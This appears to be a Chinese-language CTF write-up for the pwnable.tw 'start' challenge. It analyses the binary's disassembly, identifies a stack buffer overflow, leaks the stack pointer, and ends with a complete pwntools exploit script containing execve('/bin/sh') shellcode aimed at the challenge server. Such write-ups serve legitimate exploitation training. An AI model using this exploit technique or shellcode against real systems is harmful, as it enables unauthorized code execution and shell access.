Pwnable.tw-start

 |  2024-08-06

Pwnable.tw-start

Author: 堇姬Naup

題目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
0x08048060 <+0>:	push   esp
0x08048061 <+1>:	push   0x804809d
0x08048066 <+6>:	xor    eax,eax
0x08048068 <+8>:	xor    ebx,ebx
0x0804806a <+10>:	xor    ecx,ecx
0x0804806c <+12>:	xor    edx,edx
0x0804806e <+14>:	push   0x3a465443
0x08048073 <+19>:	push   0x20656874
0x08048078 <+24>:	push   0x20747261
0x0804807d <+29>:	push   0x74732073
0x08048082 <+34>:	push   0x2774654c
0x08048087 <+39>:	mov    ecx,esp
0x08048089 <+41>:	mov    dl,0x14
0x0804808b <+43>:	mov    bl,0x1
0x0804808d <+45>:	mov    al,0x4
0x0804808f <+47>:	int    0x80
0x08048091 <+49>:	xor    ebx,ebx
0x08048093 <+51>:	mov    dl,0x3c
0x08048095 <+53>:	mov    al,0x3
0x08048097 <+55>:	int    0x80
0x08048099 <+57>:	add    esp,0x14
0x0804809c <+60>:	ret

分析

先把eax、ebx、ecx、edx清空，再把Let’s start the CTF: push到stack上

https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86-32_bit

1
2
3
4
5
mov     ecx, esp        ; addr
mov     dl, 14h
mov     bl, 1           ; fd
mov     al, 4
int     80h             ; LINUX - sys_write

ecx -> ebp-0x14
edx -> 0x14長度
ebx -> 1 (fd 標準輸出)
eax -> 4 (write)

最後syscall 印出 Let’s start the CTF:

1
2
3
4
xor     ebx, ebx
mov     dl, 3Ch ; '<'
mov     al, 3
int     80h             ; LINUX -

ebx -> 0 (fd 標準輸入)
edx -> 0x3c (輸入大小)
eax -> 3 (read)
ecx -> ebp-0x14
最後syscall這裡存在buffer overflow

這邊發現甚麼都沒開，直接寫shellcode

但須要跳回stack需要leak stack位置(ASLR)，這邊發現一開始push了esp，如果我們可以partial overwrite到esp前面之後跳回syscall write，就可以leak了

1
2
3
4
5
6
7
aaaa
aaaa
aabb
bbbb
bbbb
ret address
esp addr

這樣就可以跳回write把esp address印出來，並且在輸入一次

1
2
3
4
5
payload = b'a'*0x14+p32(0x08048087)
r.sendafter(b'Let\'s start the CTF:',payload)

leak_esp = r.recv()[:4]
NAUPINFO('LEAK ESP',hex(u32(leak_esp)))

接著構造
b’a’ * 0x14 + leak esp+0x14(我們leak的esp是esp+0x4) + shellcode

1
2
3
4
5
6
7
aaaa
aaaa
aaaa
aaaa
aaaa
leak esp+0x14(esp+0x18) <- ret addr
shellcode

這樣就get shell

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
from NAUP_pwn_lib import *

REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
    debug_init()
    r=process('./start')
    LOCAL_DEBUG=input("debug?(y/n):")
    if LOCAL_DEBUG == "y":
        gdb.attach(r)
else:
    REMOTE_INFO=split_nc("nc chall.pwnable.tw 10000")

    REMOTE_IP=REMOTE_INFO[0]
    REMOTE_PORT=int(REMOTE_INFO[1])

    r=remote(REMOTE_IP,REMOTE_PORT)

payload = b'a'*0x14+p32(0x08048087)
r.sendafter(b'Let\'s start the CTF:',payload)

leak_esp = u32(r.recv()[:4])
NAUPINFO('LEAK ESP',hex(leak_esp))

shellcode = b"\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x31\xd2\x31\xc9\x31\xd2\x89\xe3\xb0\x0b\xcd\x80\x30\xc0\xfe\xc0\xcd\x80"

payload= b'a'*0x14 + p32(leak_esp+0x14)+shellcode

r.send(payload)

r.interactive()
Expand all Back to top Go to bottom